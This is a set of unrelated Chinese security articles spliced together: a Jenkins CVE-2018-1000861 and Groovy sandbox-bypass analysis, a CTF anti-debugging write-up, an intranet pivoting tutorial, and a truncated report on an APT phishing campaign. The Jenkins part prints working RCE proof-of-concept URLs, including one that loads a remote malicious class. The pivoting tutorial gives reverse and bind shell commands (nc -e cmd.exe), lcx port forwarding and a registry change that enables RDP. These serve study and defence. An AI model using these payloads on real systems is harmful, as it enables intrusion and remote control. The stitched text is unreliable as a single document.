NODE.getTOKEN():get()
NODE.getTOKEN(StaplerRequest)：get(StaplerRequest)
<obj>.get<Token>(String):get(String)
<obj>.get<Token>(int):get(int)
<obj>.get<Token>(long):get(long)
<obj>.getDynamic(<token>,...):ggetDynamic(...)
<obj>.doDynamic(...):doDynamic(...)
随便找个例子，在处理node时候会先实例化 **NameBasedDispatcher** ，然后把这个加到 **dispatchers** 中，然后使用
**doDispatch** 处理传过来的请求，最后通过invoke反射的方式调用相关类。
所以我们回忆一下`/securityRealm/user/test/`的解析过程，在 **org.kohsuke.stapler.Stapler**
中这里的 **d.dispatch** 会处理传入的请求。
try {
for( Dispatcher d : metaClass.dispatchers ) {
if(d.dispatch(req,rsp,node)) {
这里的 **dispathch** 是一个抽象类，他的实现方法有下图中那么多，我们看到 **NameBasedDispatcher** 是不是有点眼熟。
跟进 **org.kohsuke.stapler.NameBasedDispatcher#dispathch** 这里有个 **doDispatch**
，实际上这个也是个抽象类，主要实现还是在 **MetaClass** 中的 **buildDispatchers** ，前面我们也了解过了
**buildDispatchers** 这个方法会根据node节点的不同选择不同的方法去实现。
这里简单画个代码流程图吧。
所以可以看到最后在 **org.kohsuke.stapler.MetaClass** 已经成功解析了我们传入的第一个node节点
**securityRealm**
紧接着解析第二个node节点时候，首先跟进这个getStapler返回的是当前stapler对象。
public Stapler getStapler() {
return stapler;
}
这里的ff是一个`org.kohsuke.stapler.Function`对象，它保存了当前根节点中方法的各种信息。
ff.invoke处理之后会返回`Hudson.security.HudsonPrivateSecurityRealm`，然后又会把这个东西带入到tryInvoke中进行第二次解析，就是这样循环下去。
现在再回头过看，我们之前用到一个payload：`/securityRealm/user/test/`，这个payload中的
**securityRealm** 是Jenkins的一个路由白名单，白名单是个什么情况呢，我们来看看。
首先前面提到过 **tryInvoke** 的时候，会进行三个优先级不同操作：
* StaplerProxy
* StaplerOverridable
* StaplerFallback
根据优先级，首先进行的是 **StaplerProxy** ，我们详细看看这个，这个做了一个try的操作，跟进一下 **getTarget()** 方法。
而getTarget()的实现主要在这几个地方出现过。
在Jenkins中，入口是`jenkins.model.Jenkins`，所以跟进看看
**jenkins.model.Jenkins#getTarget**
首先checkPermission会进行权限进行检查，检查是否有读的权限，如果没有会抛出异常，而在异常里有一个`isSubjectToMandatoryReadPermissionCheck`对路径进行二次检测，如果这个检测没通过就退出，否则正常返回。继续跟进
**jenkins.model.Jenkins#isSubjectToMandatoryReadPermissionCheck**
，这里有个常量的白名单判断。
看看这个白名单的值，所以很明显了，如果请求的路径在这个白名单里面，那么就可以绕过权限校验。
ALWAYS_READABLE_PATHS = ImmutableSet.of("/login", "/logout", "/accessDenied", "/adjuncts/", "/error", "/oops", new String[]{"/signup", "/tcpSlaveAgentListener", "/federatedLoginService/", "/securityRealm", "/instance-identity"});
##### 跨物件操作导致白名单绕过
**@orange** 博客里面提到了这个，首先提到了几个事情：
> 1.在 Java 中, 所有的物件皆繼承
> [java.lang.Object](https://docs.oracle.com/javase/7/docs/api/java/lang/Object.html)
> 這個類別, 因此所有在 Java 中的物件皆存在著 `getClass()` 這個方法。
>
> 2.恰巧這個方法又符合动态路由调用`get<token>(...)`的命名規則, 因此 `getClass()` 可在 Jenkins
> 調用鏈中被動態呼叫
>
> 3.入口检查的白名单绕过
**@orange** 举了一个例子
http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content
会从上倒下依次执行
jenkins.model.Jenkins.getAdjuncts("whatever")
.getClass()
.getClassLoader()
.getResource("index.jsp")
.getContent()
从这个例子中我们看到如果是`xx.com/adjuncts/aa/bb/cc`，那么jenkins就会去寻找getAa、getBb等相关get方法，也就是说在这里我们可以任意操作GETTER方法。
回到最早的用来测试路由`/securityRealm/user/test`，我们也很清楚的看到这里去寻找`jenkins.model.Jenkins.getsecurityRealm()`。
##### 利用链条
再回到orange给的这个路由`/securityRealm/user/test`，跟进去，这个我们之前聊过，根据这个路由解析过程应该是分别是
**getsecurityRealm** 和 **getUser** ，当解析 **getUser** 的时候来到的是
**hudson.security.HudsonPrivateSecurityRealm.getUser** 中。
跟进 **hudson.security.HudsonPrivateSecurityRealm.getUser**
，这里实际上和我们的url一致了，上图中的url实际上是user/test，这里根据传入的下一节点名当做 id，然后生成一个 User
出来，所以这里将test传入 **getUser** 构造方法中，并调用 **hudson.model.User**
进行处理，最后生成一个User出来，但是测试发现如果没有用户一样能够生成，具体原因没有去深究。
这里看看User的继承关系，这里有个`hudson.model.DescriptorByNameOwner#getDescriptorByName`。
实际上是User中写了一个 **getDescriptorByName**
方法，是来自`hudson.model.DescriptorByNameOwner#getDescriptorByName`这个接口。
public Descriptor getDescriptorByName(String className) {
return Jenkins.getInstance().getDescriptorByName(className);
}
而这个方法中的实际上就是调用了 **Jenkins.getInstance().getDescriptorByName** ，跟进
**jenkins.model.Jenkins#getDescriptorByName** ，调用了
**jenkins.model.Jenkins#getDescriptor**
public Descriptor getDescriptorByName(String id) {
return this.getDescriptor(id);
}
跟进 **jenkins.model.Jenkins#getDescriptor** ，这里根据 **id(string)** 来获取所有继承了
**Descriptor** 的子类
也就是说实际上我们通过构造`/securityRealm/user/DescriptorByName/xxx`就可以使用了继承了
**Descriptor** 这个的子类。
利用链：
**Jenkins ->HudsonPrivateSecurityRealm->User->DescriptorByNameOwner->Jenkins->Descriptor**
我们从登陆限制的情况下，利用这个方法可以绕过限制，从而达到未授权访问某些功能的目的。
##### 沙盒绕过
和[Script Security
Plugin](https://wiki.jenkins.io/display/JENKINS/Script+Security+Plugin)相关的沙盒bypass在这里
###### SECURITY-1266:
从官方通告来看，更新了一个 **groovy** 沙盒绕过的问题。
可以看看orange给出的两个poc
http://localhost:8080/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a
%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec(%22open+%2fApplications%2fCalculator.app%22)%7d)%0a
class+Person%7b%7d
http://localhost:8080/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='Exp', root='http://127.0.0.1:9999/')%0a
@Grab(group='demo_server.exp', module='poc', version='2')%0a
import Exp;
分别开看看，可恶意看到的触发的类都是`org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript`，跟进来看。
**DescriptorImpl** 方法继承了 **Descriptor** ，且在 **doCheckScript** 里面，实例化了
**GroovyShell** 对象，并且输出，根据前面的分析 **doCheckScript** 可控。
**@ASTTest：执行断言的时候执行代码**
这个和PHP的assert有点像。
**Grab：引入外部恶意类**
`Grape`是groovy内置的依赖管理引擎，而且在[官方文档](http://docs.groovy-lang.org/latest/html/documentation/grape.html)中，我们发现它可以将root地址自行指定，从而引入恶意类。
javac Exp.java
mkdir -p META-INF/services/
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf poc-2.jar Exp.class META-INF
mkdir -p ./demo_server/exp/poc/2/
mv poc-2.jar demo_server/exp/poc/2/
**补丁：**
[地址](https://github.com/jenkinsci/script-security-plugin/commit/2c5122e50742dd16492f9424992deb21cc07837c)
private static final List<Class<? extends Annotation>> BLOCKED_TRANSFORMS = ImmutableList.of(ASTTest.class, Grab.class);
###### SECURITY-1292:
[commit地址](https://github.com/jenkinsci/script-security-plugin/commit/35119273101af26792457ec177f34f6f4fa49d99)
官方测试案例：
补丁：
###### **SECURITY-1318、SECURITY-1319、SECURITY-1320、SECURITY-1321:**
[commit地址](https://github.com/jenkinsci/script-security-plugin/commit/3228c88e84f0b2f24845b6466cae35617e082059)
**SECURITY-1318：**
@Grapes([@Grab(group='foo', module='bar', version='1.0')])\ndef foo\n
@GrabConfig(autoDownload=false)\ndef foo\n
@GrabExclude(group='org.mortbay.jetty', module='jetty-util')\ndef foo\n
**SECURITY-1319：**
@GrabResolver(name='restlet.org', root='http://maven.restlet.org')\ndef foo\n
**SECURITY-1320：**
import groovy.transform.ASTTest as lolwut\n" +
"import jenkins.model.Jenkins\n" +
"import hudson.model.FreeStyleProject\n" +
"@lolwut(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, \"should-not-exist\") })\n" +
"int x\n" +
"echo 'hello'\n", false
"import groovy.transform.*\n" +
"import jenkins.model.Jenkins\n" +
"import hudson.model.FreeStyleProject\n" +
"@groovy.transform.ASTTest(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, \"should-not-exist\") })\n" +
"@Field int x\n" +
"echo 'hello'\n", false
**SECURITY-1321：**
import groovy.transform.*\n" +
"import jenkins.model.Jenkins\n" +
"import hudson.model.FreeStyleProject\n" +
"@AnnotationCollector([ASTTest]) @interface Lol {}\n" +
"@Lol(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, \"should-not-exist\") })\n" +
"@Field int x\n" +
"echo 'hello'\n", false
**补丁：**
还是1266修复时候那个方法，增强了黑名单。
BLOCKED_TRANSFORMS =
ImmutableList.of(ASTTest.class.getCanonicalName(),
Grab.class.getCanonicalName(),
GrabConfig.class.getCanonicalName(),
GrabExclude.class.getCanonicalName(),
GrabResolver.class.getCanonicalName(),
Grapes.class.getCanonicalName(),
AnnotationCollector.class.getCanonicalName());
###### SECURITY-1353:
[commit地址](https://github.com/jenkinsci/script-security-plugin/commit/8424ad90547e37a2bd3b6a3a7da48eb1af9cd0ee)
assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).getCountry()");
assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).country");
assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).getAvailableLocales()");
assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).availableLocales");
assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "(double) Math.max(2, 3)");
assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "Math.max(2, 3) as double");
assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "double x = Math.max(2, 3); x");
assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter asType java.lang.Object java.lang.Class",
"def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.asType(['/tmp'], File); echo(/$f/)");
assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter castToType java.lang.Object java.lang.Class",
"def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.castToType(['/tmp'], File); echo(/$f/)");
assertRejected(new GenericWhitelist(), "new java.io.File java.lang.String",
"def f = org.kohsuke.groovy.sandbox.impl.Checker.checkedCast(File, ['/tmp'], true, false, false); echo(/$f/)");
**补丁：**
在执行的时候只执行白名单，并且加强白名单和黑名单。
### 总结
可以看到这种RCE的漏洞，Jenkins从目前修复来看，基本上都是白名单、黑名单或者黑名单+白名单的方式，来解决问题。
## 0x04 漏洞利用
github上面有个项目叫做[pwn_jenkins](https://github.com/gquere/pwn_jenkins)，总结了一些jenkins
rce的利用方式，这项目还是不错的。
## Reference
[Jenkins%20RCE分析（CVE-2018-1000861分析](https://lucifaer.com/2019/03/04/Jenkins
RCE分析（CVE-2018-1000861分析)
<https://github.com/jenkinsci/jenkins/commit/f237601afd750a0eaaf961e8120b08de238f2c3f>
<https://github.com/jenkinsci/jenkins/commit/36b8285a41eb28333549e8d851f81fd80a184076>
[jenkins 无限制 rce 分析](https://xz.aliyun.com/t/3912#toc-8) | 社区文章 |
# 从一道CTF题目中学习反调试
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
上周五空指针的[re第二次公开赛](https://www.npointer.cn/question.html?id=13#)
本身是初学逆向，当时一直卡在反调试(太菜了..)，smc一直未能解密得到正确代码，赛后找apeng大佬看wp又仔细琢磨了一下，有些收获，便写文章做个记录。
## 题目分析
首先运行一下程序
然后动态调试会发现代码出现异常，异常处理程序输出”not welcome!”，所以可以断定程序存在反调试。
拖进ida32打开，f5后分析main函数。
> argc 是命令行总的参数个数，包含路径
> argv[]包含argc个参数， **第0个参数是路径**
这里首先执行sub_402DC0函数进行smc修改loc_402B50处的代码，然后将argv[1]作为参数传递给函数sub_402B50，当然此时静态分析看到的loc_402B50处的数据还是一片混乱。
我们查看sub_402DC0函数，可以明显看到是一个smc，起始地址为loc_402B50，要改变的内存区域大小为0xBC。
再跟进sub_4032A0函数，发现是以byte_452F90为key，然后rc4解密sub_402b50的代码。所以我们的关键应该分析byte_452F90里数据的变化，得到正确的byte_452F90数据即可进行正确的smc解密。
然后我们查看byte_452F90的交叉引用，发现除了执行smc的函数以外，只有TopLevelExceptionFilter函数用到，而这个函数是一个顶层异常处理函数，暂时可以忽略。
但是我们看到byte_452F90上面还有一个数组，猜想可能是修改byte_452F80时修改了byte_452F90处的值。
我们查看交叉引用发现有6处修改吗，但是修改byte_452F80的代码都没有被识别为函数。
我们一一进行分析，按p定义函数（这里ida未识别的原因可能是这里的函数没有被交叉引用，我调试发现是在cinit处调用的），然后重命名，接下来我们依次分析这四个反调试。
## 反调试分析
### debuging1
这里调用Ntdll.dll的NtQueryInformationProcess函数，它用来提取一个给定进程的信息。
>
> 它的第一个参数是进程句柄，第二个参数告诉我们它需要提取进程信息的类型。为第二个参数指定特定值并调用该函数，相关信息就会设置到第三个参数。第二个参数是一个枚举类型，其中与反调试有关的成员有ProcessDebugPort(0x7)、ProcessDebugObjectHandle(0x1E)和ProcessDebugFlags(0x1F)。例如将该参数置为ProcessDebugPort，如果进程正在被调试，则返回调试端口，否则返回0。
这里第二个参数v3为ProcessDebugObjectHandle(0x1E)，如果进程正在被调试，DebugObjectHandle会设置到第三个参数v4(也就是v75)。
然后紧接着的是一个条件判断，正确的执行流程v75应该为0，也就是执行else语句的内容，所以我们把这里的jnz loc_401FE9 给nop掉即可。
patch后执行的是这一块代码，可以看到修改了byte_452F80为起始地址的32个字节，也就是确实有修改到我们前面说的byte_452F90（lc4的key），剩余的3个反调试函数也是一样对byte_452F90做了修改。
### debuging2
这里检查进程环境块（ _PEB_ ）中的调试标志。
>
> Windows操作系统维护着每个正在运行的进程的PEB结构，它包含与这个进程相关的所有用户态参数。这些参数包括进程环境数据，环境数据包括环境变量、加载的模块列表、内存地址，以及调试器状态。
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged; //被调试状态
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
BYTE Reserved4[104];
PVOID Reserved5[52];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved6[128];
PVOID Reserved7[1];
ULONG SessionId;
} PEB, *PPEB;
进程运行时，位置fs:[30h]指向PEB的基地址，所以这里的v46就是检查BeingDebugged标志，我们要做的就是patch使得v46的值为0即可。
然后还可以看到byte_452F80的赋值代码和v37和v45有关，这两个变量的值为GetTickCount()函数的返回值，GetTickCount函数返回最近系统重启时间与当前时间的相差毫秒数，是一个时钟检测。
emm但是好像只要不在两个函数中间下断点应该不会有问题，v37-v45正常情况会是一个很小的值(我自己调试时是0)，然后右移两位后应该为0，数据与0异或不发生任何改变。
### debuging3
这里是对关键位置的代码求和
v35的值会被拿去异或
v37的值是一个基于rdtsc指令指令的时间检测，正常执行应该为0
v36的值是一个基于GetTickCount()函数的时间检测，正常执行应该为0
v30到v34是5处关键位置的代码求和，这涉及到调试器的软件断点原理，简单来说也就是会用int 3指令替换原代码，所以我们不能在这些代码处下断点
然后还有一项关键数据就是
(*(_DWORD *)(*(_DWORD *)(__readfsdword(0x2Cu) + 4 * TlsIndex) + 4) & 0xFF)
这里是另一处反调试的点，在TLS回调函数中，后面会讲，先说结果，这一项的值应该是0
v35由这么多项求和得到，调试得到，v35的值应该为0x21A，所以我们要做的将v35的值patch为0x21A
### debuging4
这里是检查进程环境块（ _PEB_ ）中的NTGlobalFlag
>
> 由于调试器中启动进程与正常模式下启动进程有些不同，所以它们创建内存堆的方式也不同。系统使用PEB结构偏移量0x68处的一个未公开位置，来决定如何创建堆结构。如果这个位置的值为0x70，我们就知道进程正运行在调试器中。
和debuging2类似，我们只需要patch使得v24的值为0即可。
### TLS回调函数
上面debuging3中遇到的
*(_DWORD *)(*(_DWORD *)(__readfsdword(0x2Cu) + 4 * TlsIndex) + 4)
其实是在tls回调函数中被赋值的，这里的赋值操作同样是一个反调试
这个函数可以在导出表中看到，或者用xdbg调试也会断在tls回调函数
而ida的函数表里没有出现这个函数是因为有花指令阻碍了ida的分析
自行nop修改后按p重新定义函数即可看到函数反编译内容
我们可以看到这里的反调试和debuging1中的反调试是基本一样的，正确的执行流程result的值应该为0，v8的值也应该为0，所以我们把这里的
.text:00401D98 jz short loc_401DB5
jz指令patch为jump指令即可
## 总结
至此，此题的反调试点已经全部干掉，保存到原文件后就可以随意调试这个这个程序了
完成了smc后程序就进入了正常加密过程
首先sub_402B50对我们输入的key进行了移位
然后触发异常，第一个异常处理函数是一个较复杂的异或操作，第二个异常处理函数是魔改的sm4加密算法，最后会将加密的数据逐个进行比较，正确则输出”right!flag
is npointer{your_key}”
详细的解密过程可以去看apeng大佬的博客，或者官方公众号的wp。
## 参考链接
apeng大佬的博客[2020 空指针
5月RE公开赛](https://apeng.fun/2020/06/11/2020npointer-5/#more) | 社区文章 |
# 内网渗透 / 转发代理
# 前言
菜狗一个，学到太少了，内网渗透之前也没有怎么接触过，从现在起就开始好好学习一番，争取早点摆脱菜狗称号。
* * *
## 0x01:内网转发
>
> 在进行渗透测试过程中会遇到到内网中的其他机器是不允许外网机器访问的，因此需要通过端口转发(即隧道)或将得到的外网服务器设置为代理，使得攻击机可以直接访问并操作内网中的其他机器，这一过程就叫做内网转发。
#### 端口映射
>
> 端口映射是将一台主机的内网(LAN)IP地址映射成一个公网(WAN)IP地址，当用户访问提供映射端口主机的某个端口时，服务器将请求转移到本地局域网内部提供这种特定服务的主机；
## 0x02:Socket协议和Socks协议
#### socket协议
> socket 被翻译为“套接字”，是计算机之间进行通信的一种约定或一种方式。通过 socket
> 这种约定，一台计算机可以接收其他计算机的数据，也可以向其他计算机发送数据。
#### Socks协议
> Socks 是一种会话层代理协议，设计的最初目的是帮助授权用户突破防火墙的限制，获取普通用户不能访问的外部资源。考虑到几乎所有基于 TCP/IP
> 的应用软件都使用 socket 进行数据通信，为了便于应用软件的设计和开发，该协议针对 socket 中几种经典操作进行了针对设计，并将其定名为
> Socks广泛使用的协议版本是 Socks4 和 Socks5
**协议过程**
1. 客户端连接上代理服务器之后需要发送请求告知服务器目前的socks协议版本以及支持的认证方式。
2. 代理服务器收到请求后根据其设定的认证方式返回给客户端
3. 如果代理服务器不需要认证，客户端将直接向代理服务器发起真实请求
4. 代理服务器收到该请求之后连接客户端请求的目标服务器
5. 代理服务器开始转发客户端与目标服务器之间的流量
## 0x03:代理
#### 正向代理
> 正向代理即是客户端代理, 代理客户端, 服务端不知道实际发起请求的客户端.
> 正向代理类似一个跳板机，如下图，通过代理机访问外部资源。
#比如国内访问谷歌，直接访问不到
客户端发送数据到代理服务器上，再由代理服务器转发给谷歌获取数据，再返回给客户端
Lhost－－>proxy－－>Rhost
用途：
1. 访问到原来访问不到的资源
2. 可以做缓存，加速访问资源
3. 代理可以对外隐藏用户信息
#### 反向代理
> 反向代理指的是服务器端代理，代理服务器，客户端不知道实际提供服务的服务器。
>
> 以代理服务器来接受internet上的连接请求，然后将请求转发给内部网络上的服务器，并将从服务器上得到的结果返回给internet上请求连接的客户端，此时代理服务器对外就表现为一个服务器
Lhost<－－>proxy<－－>firewall<－－>Rhost
作用：
1. 保证内网安全，防止Web攻击，大型网站，通常将反向代理作为公网访问地址，Web服务器是内网。
2. 实现负载均衡，优化网站的负载
## 0x04:内网代理转发的方式
**实验环境：**
1. 攻击机器 192.168.13.128
2. 外网服务器&内网网卡 192.168.13.129/192.168.142.130
3. 内网服务器 192.168.142.128
#### reGeorg+proxifier 正向代理
>
> reGeorg是reDuh的继承者，利用了会话层的socks5协议，而Proxifier是一款强大的socks5客户端，可以让不支持通过代理服务器工作的网络能通过HTTPS或SOCKS代理或代理链。该文件下支持php，asp，jsp，aspx。在安全测试过程中，可以利用他们的组合完成从外网到内网的通信。
模拟的reGeorg转发视图：
这里简单演示一下这个组合要如何进行利用：
拿到一台外网服务器，这台服务器与内网服务器相连，下面将reGeorg对应的脚本上传到服务器端
直接访问上传的脚本文件，出现 Georg says, 'All seems fine' ，表示脚本运行正常
运行reGerog 监听本机一个端口：
python2 reGeorgSocksProxy.py -p 8080 -u http://192.168.66.131/tunnel.nosocket.php
因为是基于socks5，所以本地还需要一个socks5代理工具，这里就用到了proxifier，首先对proxifier进行配置。
使用proxifier需要注意几点：
* direct表示不使用socks5代理，直接请求
* block表示阻断请求
* proxy socks5表示使用socks5代理服务
* 默认不使用proxy socks5，仅对需要的程序使用socks5代理服务
先编辑本地代理服务器，端口就填刚才监听的
接下来配置代理规则
这样就可以访问内网的服务了
#### Tunna 正向代理**
> Tunna:可以通过HTTP封装隧道通信任何TCP，以及用于绕过防火墙环境中的网络限制
常用参数：
-u 远程代理脚本地址
-l 表示本地监听的端口
-r 远程映射端口
-v 输出详细数据
-a 代理远程连接的主机地址
在得到的外网服务器WEB目录上放入Tunna工具
在攻击机上访问
在攻击主机上执行命令，将内网服务器（192.168.142.128）的3389端口映射到本地5555端口
python proxy.py -u http://192.168.13.129/conn.php -l 5555 -a 192.168.142.128 -r 3389 –v
#### LCX端口转发
> Lcx是一款端口转发工具，有三个功能：
> 1、将本地端口转发到远程主机某个端口上
> 2、将本地端口转发到本地另一个端口上
> 3、进行监听并进行转发使用
**前提：**
在端口转发的时候需要一台公网服务器
**使用场景：**
多用于被控制计算机处于内网的时候，被控制机可能中了木马程序，虽然能够进行控制，但还是没有使用远程终端登录到本机进行管理方便，因此在很多情况下，都会想方设法在被控制计算机上开启3389端口，通过lcx等进行端口转发，进而在本地连接到被控制计算机的远程终端并进行管理和使用。在没有端口转发的情况下外网主机是不能直接连接内网主机的，但是lcx工具可以将内网主机（出入内网主机的需要能够ping通互联网）的某个端口转发到外网的某个端口上面，这样的话处于外网的主机可以将映射到外网的端口再反弹到另一个外网的端口上面（用的最多的是3389），这样就可以直接远程连接反弹的端口，便可以与内网主机进行通信。
**Windows**
Usage:lcx-<listen|tran|slave> <option> [-log logfile]
-tran <等待连接的端口> <目标ip> <目标端口> (端口映射)
-listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口> (端口转发)
-slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口> (端口转发)
1、在外网中转服务器上运行
lcx -listen 8888 10000
监听本地8888端口，同时将数据转发到10000端口
2、内网需要转发的机器上运行并开启3389端口
lcx -slave 192.168.142.130 8888 192.168.142.128 3389
#开启3389端口-Win7、Win2003、XP系统
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
将内网的3389端口转发到外网的8888端口上
通过连接外网服务器的10000端口就可以连接到那台内网主机的3389端口
rdesktop 192.168.13.129:10000
转发成功
#### NC 反弹CMDshell
> NC就是在两台电脑之间建立链接，并返回两个数据流
**1、正向连接**
在内网机器上：
nc -l -p 8888 -t -e cmd.exe
在公网机器上:
nc -nvv 192.168.142.128 8888
**2、反向连接**
在公网机器上：
nc -l -p 8888
在内网机器上：
nc -t -e cmd.exe 192.168.142.130 8888
上面只是在我们发现有内网服务器的时候进行的代理转发操作，那如何去发现有内网服务器以及信息收集那？
## 0x05:内网环境探测/信息收集
## 0x06:域渗透
#### 域的基础知识
**域（Domain）**
> 将网络中多台计算机逻辑上组织到一起，进行集中管理，这种区别于工作组的逻辑环境叫做域，域是组织与存储资源的核心管理单元。
> 域既是 Windows 网络操作系统的逻辑组织单元，也是Internet的逻辑组织单元，在 Windows
> 网络操作系统中，域是安全边界。域管理员只能管理域的内部，除非其他的域显式地赋予他管理权限，他才能够访问或者管理其他的域，每个域都有自己的安全策略，以及它与其他域的安全信任关系。
**域控（DC）**
> 在域中，至少有一台域控制器，域控制器中保存着整个域的用户帐号和安全数据库。域控是活动目录的存储地方，即活动目录存储在域控制器内。
>
> 安装了活动目录的计算机就称为域控制器，其实在第一次安装活动目录的时候，安装活动目录的那台计算机就成为了域控制器。一个域可以有一台或多台域控制器。最经典的做法是做一个主辅域控。
**活动目录（AD）**
> 活动目录是微软Windows Server中，负责架构中大型网路环境的集中式目录管理服务。
> 活动目录的逻辑结构包裹：域（Domain）、域树(Domain Tree)、林（Forest）和组织单元（Organization Unit）
#### 工作组的基础知识
**工作组(Work Group)**
>
> 工作组是局域网中的一个概念，由许多在同一物理地点，而且被相同的局域网连接起来的用户组成的小组，也可以是遍布一个机构的，但却被同一网络连接的用户构成的逻辑小组。
> 工作组就是将不同的电脑按功能分别列入不同的组中。
**工作组的工作模式：**
>
> 工作组网络也称为“对等式”的网络，因为网络中每台计算机的地位都是平等的，它们的资源以及管理是分散在每台计算机之上，所以工作组环境的特点就是分散管理，工作组环境中的每台计算机都有自己的“本机安全账户数据库”，称为SAM数据库。
#### 域和工作组的区别
>
> 工作组是一群计算机的集合，它仅仅是一个逻辑的集合，各自计算机还是各自管理的，你要访问其中的计算机，还是要到被访问计算机上来实现用户验证的。而域不同，域是一个有安全边界的计算机集合，在同一个域中的计算机彼此之间已经建立了信任关系，在域内访问其他机器，不再需要被访问机器的许可了。
## 总结
这次先学习一下如何进行转发代理以及了解一下基础理论，下次就来学习一下内网、域的环境探测以及信息收集的方法。
## 参考博客
<https://www.cnblogs.com/taostaryu/p/10547132.html> | 社区文章 |
# 季风行动——蔓灵花（APT-C-08）组织大规模钓鱼攻击活动披露
##### 译文声明
本文是翻译文章，文章原作者 360威胁情报中心，文章来源：360威胁情报中心
原文地址：<https://mp.weixin.qq.com/s/KsEyD0HpKMcuZbBcYADpAA>
译文仅供参考，具体内容表达以及含义原文为准。
转载：[360威胁情报中心](https://mp.weixin.qq.com/s/KsEyD0HpKMcuZbBcYADpAA)
蔓灵花（APT-C-08）是一个拥有南亚地区政府背景的APT组织，近几年来持续对南亚周边国家进行APT攻击，攻击目标涉及政府、军工、高校和驻外机构等企事业单位组织，是目前较活跃的针对我国境内目标进行攻击的境外APT组织之一。
2020年360安全大脑在全球范围内曾监测到蔓灵花组织多次攻击行动，如年初在COVID-19新冠病毒席卷我国之际，该组织就曾借疫情攻击过我国的相关单位。从7月开始，360安全大脑遥测发现蔓灵花组织针对南亚地区发起了大规模的钓鱼窃密攻击活动，通过360高级威胁研究院的追踪溯源，发现此次攻击行动的目标涉及包括我国和巴基斯坦在内的多个单位组织、政府机构，攻击活动一直持续活跃至今，本次攻击中继续沿用了之前仿冒目标邮箱系统钓鱼攻击的技战术，但其攻击规模和频次较之前大幅度增加，进一步针对部分重点目标还会以伪装会议文件或软件进行恶意载荷投递。
在南亚地区每年都会有特定的季风气候，每一年的季风来临时间一般出现在6-9月之间，根据南亚地区强烈的季风季节特点和攻击活动的时间周期，360高级威胁研究院将蔓灵花组织在此期间的攻击行动命名为“季风行动“，本报告将对此次”季风行动“的攻击进行全面的分析披露。
## 受影响情况
### 针对行业分析
通过对钓鱼网站域名的模仿目标进行分析整理，其攻击针对的行业分布如下图所示：
### 攻击时间分析
对攻击者的钓鱼域名出现及活跃时间进行统计，发现钓鱼域名集中在7、8月份活跃
## 攻击行动分析
### 攻击流程还原
与蔓灵花组织以往的APT攻击手法不同，本次蔓灵花组织展现出了一种全新的攻击模式，该组织采用社会工程学的手段对目标受害者的邮箱账户进行了多种方式的钓鱼攻击。
首先该组织会选定部分容易攻破的邮箱进行针对性的攻击，期间可能通过暴力破解或伪造了目标单位对外邮箱服务的网站，掌握了部分种子受害者的邮箱账户及密码。然后攻击者会利用种子受害者邮箱账户，针对信任种子受害者的联系人定制诱饵邮件，再次发起二次攻击并扩大攻击范围。
这种利用信任关系发起的二次攻击，会使用多种社会工程学攻击手法：
* 通过精心构造的假附件链接，骗取用户登陆伪装的邮件网站登陆网页
* 假冒会议事件，骗取用户使用伪装的会议软件安装包（例如 Zoom）
* 常规的恶意文档，诱导用户点击执行DDE漏洞文档、伪装文档图标的EXE文件
### 攻击细节剖析
**仿冒页面案例**
攻击者的钓鱼网站直接克隆了目标的邮箱网站的前端页面代码和资源，因此钓鱼页面与真实网站相似度极高，普通用户难以辨别。
仿冒163邮箱门户
仿冒中华人民共和国***邮件系统
仿冒***研究中心邮件系统
仿冒***大学邮件系统
仿冒***工业集团有限公司
仿冒***大学邮件系统
仿冒***互联网邮件系统
攻击者将这些邮件系统中的账号登录POST表单地址替换成自定义的地址来记录账户密码。
**钓鱼邮件构造**
在钓鱼邮件构造的上，攻击者会利用受害者联系人的信任关系，发出群发邮件，通过附件链接的形式诱导受害者点击，受害者将跳转到与当前邮箱相同的登录钓鱼页面中，被骗取密码重新登陆以获取附件，攻击过程极具欺骗性。
**钓鱼资产分析**
**域名构造**
通过分析钓鱼网站的域名，我们发现其主要针对目标的真实域名进行模仿，其模式是将域名中的”.”变为“-”作为子域名前缀，并附加第三方主域名方式进行伪装。例如：
被仿冒网站：mail.tsinghua.edu.cn
钓鱼网站：mail-tsinghua-edu-cn.netlify.app
